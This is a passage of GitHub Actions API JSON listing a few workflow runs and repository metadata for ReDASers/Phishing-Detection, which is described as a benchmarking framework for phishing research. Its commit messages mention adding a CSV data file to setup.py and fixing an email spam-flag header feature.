","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":292828290,"node_id":"MDExOldvcmtmbG93UnVuMjkyODI4Mjkw","head_branch":"master","head_sha":"8b9a337e8da0fbaf0026b75cc67a71caf4223ac3","run_number":1079,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1300677809,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzAwNjc3ODA5","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292828290","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292828290","pull_requests":[],"created_at":"2020-10-07T06:05:17Z","updated_at":"2020-10-10T09:03:17Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292828290/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292828290/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1300677809","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292828290/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292828290/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292828290/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"8b9a337e8da0fbaf0026b75cc67a71caf4223ac3","tree_id":"a07c68b7bdd9b942511dc1bafef53b414376c974","message":"Included alexa-top-1m.csv in setup.py (#254)","timestamp":"2020-10-07T06:05:14Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":292704248,"node_id":"MDExOldvcmtmbG93UnVuMjkyNzA0MjQ4","head_branch":"alexa_include","head_sha":"c87afc2ef605e6c9f88e69d6fc26da6b7895806e","run_number":1078,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1300360012,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzAwMzYwMDEy","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292704248","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292704248","pull_requests":[],"created_at":"2020-10-07T04:13:31Z","updated_at":"2020-10-07T04:52:34Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292704248/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292704248/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1300360012","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292704248/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292704248/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292704248/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"c87afc2ef605e6c9f88e69d6fc26da6b7895806e","tree_id":"a07c68b7bdd9b942511dc1bafef53b414376c974","message":"Included alexa-top-1m.csv in setup.py","timestamp":"2020-10-07T04:13:24Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":292664899,"node_id":"MDExOldvcmtmbG93UnVuMjkyNjY0ODk5","head_branch":"master","head_sha":"703728c55d221d217e98b823698d7f71a7d8e569","run_number":1077,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1300257371,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzAwMjU3Mzcx","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292664899","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292664899","pull_requests":[],"created_at":"2020-10-07T03:33:31Z","updated_at":"2020-10-07T03:54:52Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292664899/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292664899/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1300257371","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292664899/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292664899/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292664899/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"703728c55d221d217e98b823698d7f71a7d8e569","tree_id":"b38c72e0cda01bfa7771810acb5af9e9f76b9b48","message":"Fixed header.x_spam_flag (#253)\n\n* Fixed header.x_spam_flag\r\n\r\n* Additional Email Unit-tests\r\n\r\n* Lint","timestamp":"2020-10-07T03:33:29Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. 